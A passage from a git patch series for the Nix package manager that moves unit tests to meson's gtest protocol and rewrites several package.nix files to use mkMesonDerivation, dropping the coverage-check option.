+
+```bash
+GTEST_BREIF=1 GTEST_FILTER='ErrorTraceTest.*' meson test nix-expr-tests -v
+```
+
+for short but comprensive output.
 
 ### Characterisation testing { #characaterisation-testing-unit }
 
@@ -86,7 +103,7 @@ See [functional characterisation testing](#characterisation-testing-functional)
 Like with the functional characterisation, `_NIX_TEST_ACCEPT=1` is also used.
 For example:
 ```shell-session
-$ _NIX_TEST_ACCEPT=1 make libstore-tests_RUN
+$ _NIX_TEST_ACCEPT=1 meson test nix-store-tests -v
 ...
 [  SKIPPED ] WorkerProtoTest.string_read
 [  SKIPPED ] WorkerProtoTest.string_write
diff --git a/src/nix-expr-tests/meson.build b/src/nix-expr-tests/meson.build
index 04b5ae66fe2..71865b59f1c 100644
--- a/src/nix-expr-tests/meson.build
+++ b/src/nix-expr-tests/meson.build
@@ -81,4 +81,11 @@ this_exe = executable(
   install : true,
 )
 
-test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data'])
+test(
+  meson.project_name(),
+  this_exe,
+  env : {
+    '_NIX_TEST_UNIT_DATA': meson.current_source_dir() / 'data',
+  },
+  protocol : 'gtest',
+)
diff --git a/src/nix-fetchers-tests/meson.build b/src/nix-fetchers-tests/meson.build
index c4f18e2785f..b4bc77a9780 100644
--- a/src/nix-fetchers-tests/meson.build
+++ b/src/nix-fetchers-tests/meson.build
@@ -61,4 +61,11 @@ this_exe = executable(
   install : true,
 )
 
-test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data'])
+test(
+  meson.project_name(),
+  this_exe,
+  env : {
+    '_NIX_TEST_UNIT_DATA': meson.current_source_dir() / 'data',
+  },
+  protocol : 'gtest',
+)
diff --git a/src/nix-flake-tests/meson.build b/src/nix-flake-tests/meson.build
index 5afba2fecc1..2d6bbca0f17 100644
--- a/src/nix-flake-tests/meson.build
+++ b/src/nix-flake-tests/meson.build
@@ -62,4 +62,11 @@ this_exe = executable(
   install : true,
 )
 
-test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data'])
+test(
+  meson.project_name(),
+  this_exe,
+  env : {
+    '_NIX_TEST_UNIT_DATA': meson.current_source_dir() / 'data',
+  },
+  protocol : 'gtest',
+)
diff --git a/src/nix-store-tests/meson.build b/src/nix-store-tests/meson.build
index 2fde70d3b8b..90e7d3047c7 100644
--- a/src/nix-store-tests/meson.build
+++ b/src/nix-store-tests/meson.build
@@ -85,4 +85,11 @@ this_exe = executable(
   install : true,
 )
 
-test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data'])
+test(
+  meson.project_name(),
+  this_exe,
+  env : {
+    '_NIX_TEST_UNIT_DATA': meson.current_source_dir() / 'data',
+  },
+  protocol : 'gtest',
+)
diff --git a/src/nix-util-tests/meson.build b/src/nix-util-tests/meson.build
index 67ae48f533b..4f055cabda0 100644
--- a/src/nix-util-tests/meson.build
+++ b/src/nix-util-tests/meson.build
@@ -81,4 +81,11 @@ this_exe = executable(
   install : true,
 )
 
-test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data'])
+test(
+  meson.project_name(),
+  this_exe,
+  env : {
+    '_NIX_TEST_UNIT_DATA': meson.current_source_dir() / 'data',
+  },
+  protocol : 'gtest',
+)

From 4727d5c3c5a0c04bdf07219a167a2818a9914bcd Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Sat, 29 Jun 2024 11:18:33 -0400
Subject: [PATCH 489/528] Fix format blacklist

---
 maintainers/flake-module.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index a39a70890be..007ef034fb2 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -15,7 +15,7 @@
           excludes = [
             # We don't want to format test data
             # ''tests/(?!nixos/).*\.nix''
-            ''^src/[^/]*-test/data/.*$''
+            ''^src/[^/]*-tests/data/.*$''
 
             # Don't format vendored code
             ''^doc/manual/redirects\.js$''

From 4d6bc61b8d3d0278e656bcfae61489abcf40c4a8 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 1 Jul 2024 14:36:46 -0400
Subject: [PATCH 490/528] Fix things

---
 src/libexpr-c/package.nix              | 49 ++++++++-------------
 src/libexpr/package.nix                | 55 +++++++++---------------
 src/libfetchers/package.nix            | 45 +++++++-------------
 src/libflake/package.nix               | 45 +++++++-------------
 src/libstore-c/package.nix             | 49 ++++++++-------------
 src/libstore/package.nix               | 59 ++++++++++----------------
 src/libutil-c/package.nix              | 49 ++++++++-------------
 src/libutil/package.nix                | 28 +++---------
 src/nix-expr-test-support/package.nix  | 47 +++++++-------------
 src/nix-expr-tests/package.nix         | 47 +++++++-------------
 src/nix-fetchers-tests/package.nix     | 47 +++++++-------------
 src/nix-flake-tests/package.nix        | 47 +++++++-------------
 src/nix-store-test-support/package.nix | 47 +++++++-------------
 src/nix-store-tests/package.nix        | 47 +++++++-------------
 src/nix-util-test-support/package.nix  | 47 +++++++-------------
 src/nix-util-tests/package.nix         | 47 +++++++-------------
 16 files changed, 258 insertions(+), 497 deletions(-)

diff --git a/src/libexpr-c/package.nix b/src/libexpr-c/package.nix
index 33412e21872..81e42cf6a73 100644
--- a/src/libexpr-c/package.nix
+++ b/src/libexpr-c/package.nix
@@ -1,5 +1,6 @@
 { lib
 , stdenv
+, mkMesonDerivation
 , releaseTools
 
 , meson
@@ -12,41 +13,30 @@
 # Configuration Options
 
 , versionSuffix ? ""
-
-# Check test coverage of Nix. Probably want to use with at least
-# one of `doCheck` or `doInstallCheck` enabled.
-, withCoverageChecks ? false
 }:
 
 let
   inherit (lib) fileset;
 
   version = lib.fileContents ./.version + versionSuffix;
-
-  mkDerivation =
-    if withCoverageChecks
-    then
-      # TODO support `finalAttrs` args function in
-      # `releaseTools.coverageAnalysis`.
-      argsFun:
-         releaseTools.coverageAnalysis (let args = argsFun args; in args)
-    else stdenv.mkDerivation;
 in
 
-mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-expr-c";
   inherit version;
 
-  src = fileset.toSource {
-    root = ./.;
-    fileset = fileset.unions [
-      ./meson.build
-      # ./meson.options
-      (fileset.fileFilter (file: file.hasExt "cc") ./.)
-      (fileset.fileFilter (file: file.hasExt "hh") ./.)
-      (fileset.fileFilter (file: file.hasExt "h") ./.)
-    ];
-  };
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    # ./meson.options
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+    (fileset.fileFilter (file: file.hasExt "h") ./.)
+  ];
 
   outputs = [ "out" "dev" ];
 
@@ -65,8 +55,8 @@ mkDerivation (finalAttrs: {
     # "Inline" .version so it's not a symlink, and includes the suffix.
     # Do the meson utils, without modification.
     ''
-      echo ${version} > .version
-      cp -r ${../../build-utils-meson} build-utils-meson
+      chmod u+w ./.version
+      echo ${version} > ../../.version
     '';
 
   mesonFlags = [
@@ -80,8 +70,7 @@ mkDerivation (finalAttrs: {
 
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
-  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
-  strictDeps = !withCoverageChecks;
+  strictDeps = true;
 
   hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
 
@@ -89,8 +78,4 @@ mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
   };
 
-} // lib.optionalAttrs withCoverageChecks {
-  lcovFilter = [ "*/boost/*" "*-tab.*" ];
-
-  hardeningDisable = [ "fortify" ];
 })
diff --git a/src/libexpr/package.nix b/src/libexpr/package.nix
index 855d5057e53..d4296bc07a9 100644
--- a/src/libexpr/package.nix
+++ b/src/libexpr/package.nix
@@ -1,5 +1,6 @@
 { lib
 , stdenv
+, mkMesonDerivation
 , releaseTools
 
 , meson
@@ -21,10 +22,6 @@
 
 , versionSuffix ? ""
 
-# Check test coverage of Nix. Probably want to use with at least
-# one of `doCheck` or `doInstallCheck` enabled.
-, withCoverageChecks ? false
-
 # Whether to use garbage collection for the Nix language evaluator.
 #
 # If it is disabled, we just leak memory, but this is not as bad as it
@@ -41,34 +38,27 @@ let
   inherit (lib) fileset;
 
   version = lib.fileContents ./.version + versionSuffix;
-
-  mkDerivation =
-    if withCoverageChecks
-    then
-      # TODO support `finalAttrs` args function in
-      # `releaseTools.coverageAnalysis`.
-      argsFun:
-         releaseTools.coverageAnalysis (let args = argsFun args; in args)
-    else stdenv.mkDerivation;
 in
 
-mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-expr";
   inherit version;
 
-  src = fileset.toSource {
-    root = ./.;
-    fileset = fileset.unions [
-      ./meson.build
-      ./meson.options
-      ./primops/meson.build
-      (fileset.fileFilter (file: file.hasExt "cc") ./.)
-      (fileset.fileFilter (file: file.hasExt "hh") ./.)
-      ./lexer.l
-      ./parser.y
-      (fileset.fileFilter (file: file.hasExt "nix") ./.)
-    ];
-  };
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    ./meson.options
+    ./primops/meson.build
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+    ./lexer.l
+    ./parser.y
+    (fileset.fileFilter (file: file.hasExt "nix") ./.)
+  ];
 
   outputs = [ "out" "dev" ];
 
@@ -97,8 +87,8 @@ mkDerivation (finalAttrs: {
     # "Inline" .version so it's not a symlink, and includes the suffix.
     # Do the meson utils, without modification.
     ''
-      echo ${version} > .version
-      cp -r ${../../build-utils-meson} build-utils-meson
+      chmod u+w ./.version
+      echo ${version} > ../../.version
     '';
 
   mesonFlags = [
@@ -118,8 +108,7 @@ mkDerivation (finalAttrs: {
 
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
-  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
-  strictDeps = !withCoverageChecks;
+  strictDeps = true;
 
   hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
 
@@ -127,8 +116,4 @@ mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
   };
 
-} // lib.optionalAttrs withCoverageChecks {
-  lcovFilter = [ "*/boost/*" "*-tab.*" ];
-
-  hardeningDisable = [ "fortify" ];
 })
diff --git a/src/libfetchers/package.nix b/src/libfetchers/package.nix
index 681ffa1127f..7786a4f35e4 100644
--- a/src/libfetchers/package.nix
+++ b/src/libfetchers/package.nix
@@ -1,5 +1,6 @@
 { lib
 , stdenv
+, mkMesonDerivation
 , releaseTools
 
 , meson
@@ -15,40 +16,28 @@
 # Configuration Options
 
 , versionSuffix ? ""
-
-# Check test coverage of Nix. Probably want to use with with at least
-# one of `doCheck` or `doInstallCheck` enabled.
-, withCoverageChecks ? false
-
 }:
 
 let
   inherit (lib) fileset;
 
   version = lib.fileContents ./.version + versionSuffix;
-
-  mkDerivation =
-    if withCoverageChecks
-    then
-      # TODO support `finalAttrs` args function in
-      # `releaseTools.coverageAnalysis`.
-      argsFun:
-         releaseTools.coverageAnalysis (let args = argsFun args; in args)
-    else stdenv.mkDerivation;
 in
 
-mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-fetchers";
   inherit version;
 
-  src = fileset.toSource {
-    root = ./.;
-    fileset = fileset.unions [
-      ./meson.build
-      (fileset.fileFilter (file: file.hasExt "cc") ./.)
-      (fileset.fileFilter (file: file.hasExt "hh") ./.)
-    ];
-  };
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+  ];
 
   outputs = [ "out" "dev" ];
 
@@ -72,8 +61,8 @@ mkDerivation (finalAttrs: {
     # "Inline" .version so it's not a symlink, and includes the suffix.
     # Do the meson utils, without modification.
     ''
-      echo ${version} > .version
-      cp -r ${../../build-utils-meson} build-utils-meson
+      chmod u+w ./.version
+      echo ${version} > ../../.version
     '';
 
   env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
@@ -86,7 +75,7 @@ mkDerivation (finalAttrs: {
 
   # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated
   # to work with `strictDeps`.
-  strictDeps = !withCoverageChecks;
+  strictDeps = true;
 
   hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
 
@@ -94,8 +83,4 @@ mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
   };
 
-} // lib.optionalAttrs withCoverageChecks {
-  lcovFilter = [ "*-tab.*" ];
-
-  hardeningDisable = ["fortify"];
 })
diff --git a/src/libflake/package.nix b/src/libflake/package.nix
index 523da4b78c5..f0609d5d5e8 100644
--- a/src/libflake/package.nix
+++ b/src/libflake/package.nix
@@ -1,5 +1,6 @@
 { lib
 , stdenv
+, mkMesonDerivation
 , releaseTools
 
 , meson
@@ -17,40 +18,28 @@
 # Configuration Options
 
 , versionSuffix ? ""
-
-# Check test coverage of Nix. Probably want to use with with at least
-# one of `doCheck` or `doInstallCheck` enabled.
-, withCoverageChecks ? false
-
 }:
 
 let
   inherit (lib) fileset;
 
   version = lib.fileContents ./.version + versionSuffix;
-
-  mkDerivation =
-    if withCoverageChecks
-    then
-      # TODO support `finalAttrs` args function in
-      # `releaseTools.coverageAnalysis`.
-      argsFun:
-         releaseTools.coverageAnalysis (let args = argsFun args; in args)
-    else stdenv.mkDerivation;
 in
 
-mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-flake";
   inherit version;
 
-  src = fileset.toSource {
-    root = ./.;
-    fileset = fileset.unions [
-      ./meson.build
-      (fileset.fileFilter (file: file.hasExt "cc") ./.)
-      (fileset.fileFilter (file: file.hasExt "hh") ./.)
-    ];
-  };
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+  ];
 
   outputs = [ "out" "dev" ];
 
@@ -72,8 +61,8 @@ mkDerivation (finalAttrs: {
     # "Inline" .version so it's not a symlink, and includes the suffix.
     # Do the meson utils, without modification.
     ''
-      echo ${version} > .version
-      cp -r ${../../build-utils-meson} build-utils-meson
+      chmod u+w ./.version
+      echo ${version} > ../../.version
     '';
 
   env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
@@ -86,7 +75,7 @@ mkDerivation (finalAttrs: {
 
   # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated
   # to work with `strictDeps`.
-  strictDeps = !withCoverageChecks;
+  strictDeps = true;
 
   hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
 
@@ -94,8 +83,4 @@ mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
   };
 
-} // lib.optionalAttrs withCoverageChecks {
-  lcovFilter = [ "*-tab.*" ];
-
-  hardeningDisable = ["fortify"];
 })
diff --git a/src/libstore-c/package.nix b/src/libstore-c/package.nix
index d0e81b1f9d0..c14cf955d98 100644
--- a/src/libstore-c/package.nix
+++ b/src/libstore-c/package.nix
@@ -1,5 +1,6 @@
 { lib
 , stdenv
+, mkMesonDerivation
 , releaseTools
 
 , meson
@@ -12,41 +13,30 @@
 # Configuration Options
 
 , versionSuffix ? ""
-
-# Check test coverage of Nix. Probably want to use with at least
-# one of `doCheck` or `doInstallCheck` enabled.
-, withCoverageChecks ? false
 }:
 
 let
   inherit (lib) fileset;
 
   version = lib.fileContents ./.version + versionSuffix;
-
-  mkDerivation =
-    if withCoverageChecks
-    then
-      # TODO support `finalAttrs` args function in
-      # `releaseTools.coverageAnalysis`.
-      argsFun:
-         releaseTools.coverageAnalysis (let args = argsFun args; in args)
-    else stdenv.mkDerivation;
 in
 
-mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-store-c";
   inherit version;
 
-  src = fileset.toSource {
-    root = ./.;
-    fileset = fileset.unions [
-      ./meson.build
-      # ./meson.options
-      (fileset.fileFilter (file: file.hasExt "cc") ./.)
-      (fileset.fileFilter (file: file.hasExt "hh") ./.)
-      (fileset.fileFilter (file: file.hasExt "h") ./.)
-    ];
-  };
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    # ./meson.options
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+    (fileset.fileFilter (file: file.hasExt "h") ./.)
+  ];
 
   outputs = [ "out" "dev" ];
 
@@ -65,8 +55,8 @@ mkDerivation (finalAttrs: {
     # "Inline" .version so it's not a symlink, and includes the suffix.
     # Do the meson utils, without modification.
     ''
-      echo ${version} > .version
-      cp -r ${../../build-utils-meson} build-utils-meson
+      chmod u+w ./.version
+      echo ${version} > ../../.version
     '';
 
   mesonFlags = [
@@ -80,8 +70,7 @@ mkDerivation (finalAttrs: {
 
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
-  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
-  strictDeps = !withCoverageChecks;
+  strictDeps = true;
 
   hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
 
@@ -89,8 +78,4 @@ mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
   };
 
-} // lib.optionalAttrs withCoverageChecks {
-  lcovFilter = [ "*/boost/*" "*-tab.*" ];
-
-  hardeningDisable = [ "fortify" ];
 })
diff --git a/src/libstore/package.nix b/src/libstore/package.nix
index d4859a411ab..df92b5b28c0 100644
--- a/src/libstore/package.nix
+++ b/src/libstore/package.nix
@@ -1,5 +1,6 @@
 { lib
 , stdenv
+, mkMesonDerivation
 , releaseTools
 
 , meson
@@ -22,46 +23,35 @@
 , versionSuffix ? ""
 
 , embeddedSandboxShell ? stdenv.hostPlatform.isStatic
-
-# Check test coverage of Nix. Probably want to use with at least
-# one of `doCheck` or `doInstallCheck` enabled.
-, withCoverageChecks ? false
 }:
 
 let
   inherit (lib) fileset;
 
   version = lib.fileContents ./.version + versionSuffix;
-
-  mkDerivation =
-    if withCoverageChecks
-    then
-      # TODO support `finalAttrs` args function in
-      # `releaseTools.coverageAnalysis`.
-      argsFun:
-         releaseTools.coverageAnalysis (let args = argsFun args; in args)
-    else stdenv.mkDerivation;
 in
 
-mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-store";
   inherit version;
 
-  src = fileset.toSource {
-    root = ./.;
-    fileset = fileset.unions [
-      ./meson.build
-      ./meson.options
-      ./linux/meson.build
-      ./unix/meson.build
-      ./windows/meson.build
-      (fileset.fileFilter (file: file.hasExt "cc") ./.)
-      (fileset.fileFilter (file: file.hasExt "hh") ./.)
-      (fileset.fileFilter (file: file.hasExt "sb") ./.)
-      (fileset.fileFilter (file: file.hasExt "md") ./.)
-      (fileset.fileFilter (file: file.hasExt "sql") ./.)
-    ];
-  };
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    ./meson.options
+    ./linux/meson.build
+    ./unix/meson.build
+    ./windows/meson.build
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+    (fileset.fileFilter (file: file.hasExt "sb") ./.)
+    (fileset.fileFilter (file: file.hasExt "md") ./.)
+    (fileset.fileFilter (file: file.hasExt "sql") ./.)
+  ];
 
   outputs = [ "out" "dev" ];
 
@@ -93,8 +83,8 @@ mkDerivation (finalAttrs: {
     # "Inline" .version so it's not a symlink, and includes the suffix.
     # Do the meson utils, without modification.
     ''
-      echo ${version} > .version
-      cp -r ${../../build-utils-meson} build-utils-meson
+      chmod u+w ./.version
+      echo ${version} > ../../.version
     '';
 
   mesonFlags = [
@@ -117,8 +107,7 @@ mkDerivation (finalAttrs: {
 
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
-  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
-  strictDeps = !withCoverageChecks;
+  strictDeps = true;
 
   hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
 
@@ -126,8 +115,4 @@ mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
   };
 
-} // lib.optionalAttrs withCoverageChecks {
-  lcovFilter = [ "*/boost/*" "*-tab.*" ];
-
-  hardeningDisable = [ "fortify" ];
 })
diff --git a/src/libutil-c/package.nix b/src/libutil-c/package.nix
index ba1dbe38ad5..f92cb036c8b 100644
--- a/src/libutil-c/package.nix
+++ b/src/libutil-c/package.nix
@@ -1,5 +1,6 @@
 { lib
 , stdenv
+, mkMesonDerivation
 , releaseTools
 
 , meson
@@ -11,41 +12,30 @@
 # Configuration Options
 
 , versionSuffix ? ""
-
-# Check test coverage of Nix. Probably want to use with at least
-# one of `doCheck` or `doInstallCheck` enabled.
-, withCoverageChecks ? false
 }:
 
 let
   inherit (lib) fileset;
 
   version = lib.fileContents ./.version + versionSuffix;
-
-  mkDerivation =
-    if withCoverageChecks
-    then
-      # TODO support `finalAttrs` args function in
-      # `releaseTools.coverageAnalysis`.
-      argsFun:
-         releaseTools.coverageAnalysis (let args = argsFun args; in args)
-    else stdenv.mkDerivation;
 in
 
-mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-util-c";
   inherit version;
 
-  src = fileset.toSource {
-    root = ./.;
-    fileset = fileset.unions [
-      ./meson.build
-      ./meson.options
-      (fileset.fileFilter (file: file.hasExt "cc") ./.)
-      (fileset.fileFilter (file: file.hasExt "hh") ./.)
-      (fileset.fileFilter (file: file.hasExt "h") ./.)
-    ];
-  };
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    ./meson.options
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+    (fileset.fileFilter (file: file.hasExt "h") ./.)
+  ];
 
   outputs = [ "out" "dev" ];
 
@@ -63,8 +53,8 @@ mkDerivation (finalAttrs: {
     # "Inline" .version so it's not a symlink, and includes the suffix.
     # Do the meson utils, without modification.
     ''
-      echo ${version} > .version
-      cp -r ${../../build-utils-meson} build-utils-meson
+      chmod u+w ./.version
+      echo ${version} > ../../.version
     '';
 
   mesonFlags = [
@@ -78,8 +68,7 @@ mkDerivation (finalAttrs: {
 
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
-  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
-  strictDeps = !withCoverageChecks;
+  strictDeps = true;
 
   hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
 
@@ -87,8 +76,4 @@ mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
   };
 
-} // lib.optionalAttrs withCoverageChecks {
-  lcovFilter = [ "*/boost/*" "*-tab.*" ];
-
-  hardeningDisable = [ "fortify" ];
 })
diff --git a/src/libutil/package.nix b/src/libutil/package.nix
index aff338d16d9..74d4d785345 100644
--- a/src/libutil/package.nix
+++ b/src/libutil/package.nix
@@ -18,25 +18,12 @@
 # Configuration Options
 
 , versionSuffix ? ""
-
-# Check test coverage of Nix. Probably want to use with at least
-# one of `doCheck` or `doInstallCheck` enabled.
-, withCoverageChecks ? false
 }:
 
 let
   inherit (lib) fileset;
 
   version = lib.fileContents ./.version + versionSuffix;
-
-  mkDerivation =
-    if withCoverageChecks
-    then
-      # TODO support `finalAttrs` args function in
-      # `releaseTools.coverageAnalysis`.
-      argsFun:
-         releaseTools.coverageAnalysis (let args = argsFun args; in args)
-    else stdenv.mkDerivation;
 in
 
 mkMesonDerivation (finalAttrs: {
@@ -45,6 +32,8 @@ mkMesonDerivation (finalAttrs: {
 
   workDir = ./.;
   fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
     ../../.version
     ./.version
     ./meson.build
@@ -78,12 +67,14 @@ mkMesonDerivation (finalAttrs: {
   ];
 
   preConfigure =
-    # TODO: change release process to add `pre` in `.version`, remove it before tagging, and restore after.
+    # "Inline" .version so it's not a symlink, and includes the suffix.
     # Do the meson utils, without modification.
+    #
+    # TODO: change release process to add `pre` in `.version`, remove it
+    # before tagging, and restore after.
     ''
       chmod u+w ./.version
       echo ${version} > ../../.version
-      cp -r ${../../build-utils-meson} build-utils-meson
     '';
 
   mesonFlags = [
@@ -103,8 +94,7 @@ mkMesonDerivation (finalAttrs: {
 
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
-  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
-  strictDeps = !withCoverageChecks;
+  strictDeps = true;
 
   hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
 
@@ -112,8 +102,4 @@ mkMesonDerivation (finalAttrs: {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
   };
 
-} // lib.optionalAttrs withCoverageChecks {
-  lcovFilter = [ "*/boost/*" "*-tab.*" ];
-
-  hardeningDisable = [ "fortify" ];
 })
diff --git a/src/nix-expr-test-support/package.nix b/src/nix-expr-test-support/package.nix
index ecfb2bb098f..aec0e766363 100644
--- a/src/nix-expr-test-support/package.nix
+++ b/src/nix-expr-test-support/package.nix
@@ -1,5 +1,6 @@
 { lib
 , stdenv
+, mkMesonDerivation
 , releaseTools
 
 , meson
@@ -14,40 +15,29 @@
 # Configuration Options
 
 , versionSuffix ? ""
-
-# Check test coverage of Nix. Probably want to use with at least
-# one of `doCheck` or `doInstallCheck` enabled.
-, withCoverageChecks ? false
 }:
 
 let
   inherit (lib) fileset;
 
   version = lib.fileContents ./.version + versionSuffix;
-
-  mkDerivation =
-    if withCoverageChecks
-    then
-      # TODO support `finalAttrs` args function in
-      # `releaseTools.coverageAnalysis`.
-      argsFun:
-         releaseTools.coverageAnalysis (let args = argsFun args; in args)
-    else stdenv.mkDerivation;
 in
 
-mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-util-test-support";
   inherit version;
 
-  src = fileset.toSource {
-    root = ./.;
-    fileset = fileset.unions [
-      ./meson.build
-      # ./meson.options
-      (fileset.fileFilter (file: file.hasExt "cc") ./.)
-      (fileset.fileFilter (file: file.hasExt "hh") ./.)
-    ];
-  };
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    # ./meson.options
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+  ];
 
   outputs = [ "out" "dev" ];
 
@@ -67,8 +57,8 @@ mkDerivation (finalAttrs: {
     # "Inline" .version so it's not a symlink, and includes the suffix.
     # Do the meson utils, without modification.
     ''
-      echo ${version} > .version
-      cp -r ${../../build-utils-meson} build-utils-meson
+      chmod u+w ./.version
+      echo ${version} > ../../.version
     '';
 
   mesonFlags = [
@@ -82,8 +72,7 @@ mkDerivation (finalAttrs: {
 
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
-  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
-  strictDeps = !withCoverageChecks;
+  strictDeps = true;
 
   hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
 
@@ -91,8 +80,4 @@ mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
   };
 
-} // lib.optionalAttrs withCoverageChecks {
-  lcovFilter = [ "*/boost/*" "*-tab.*" ];
-
-  hardeningDisable = [ "fortify" ];
 })
diff --git a/src/nix-expr-tests/package.nix b/src/nix-expr-tests/package.nix
index 679b6fb2ab2..ddd79fd559f 100644
--- a/src/nix-expr-tests/package.nix
+++ b/src/nix-expr-tests/package.nix
@@ -1,5 +1,6 @@
 { lib
 , stdenv
+, mkMesonDerivation
 , releaseTools
 
 , meson
@@ -17,40 +18,29 @@
 # Configuration Options
 
 , versionSuffix ? ""
-
-# Check test coverage of Nix. Probably want to use with at least
-# one of `doCheck` or `doInstallCheck` enabled.
-, withCoverageChecks ? false
 }:
 
 let
   inherit (lib) fileset;
 
   version = lib.fileContents ./.version + versionSuffix;
-
-  mkDerivation =
-    if withCoverageChecks
-    then
-      # TODO support `finalAttrs` args function in
-      # `releaseTools.coverageAnalysis`.
-      argsFun:
-         releaseTools.coverageAnalysis (let args = argsFun args; in args)
-    else stdenv.mkDerivation;
 in
 
-mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-expr-tests";
   inherit version;
 
-  src = fileset.toSource {
-    root = ./.;
-    fileset = fileset.unions [
-      ./meson.build
-      # ./meson.options
-      (fileset.fileFilter (file: file.hasExt "cc") ./.)
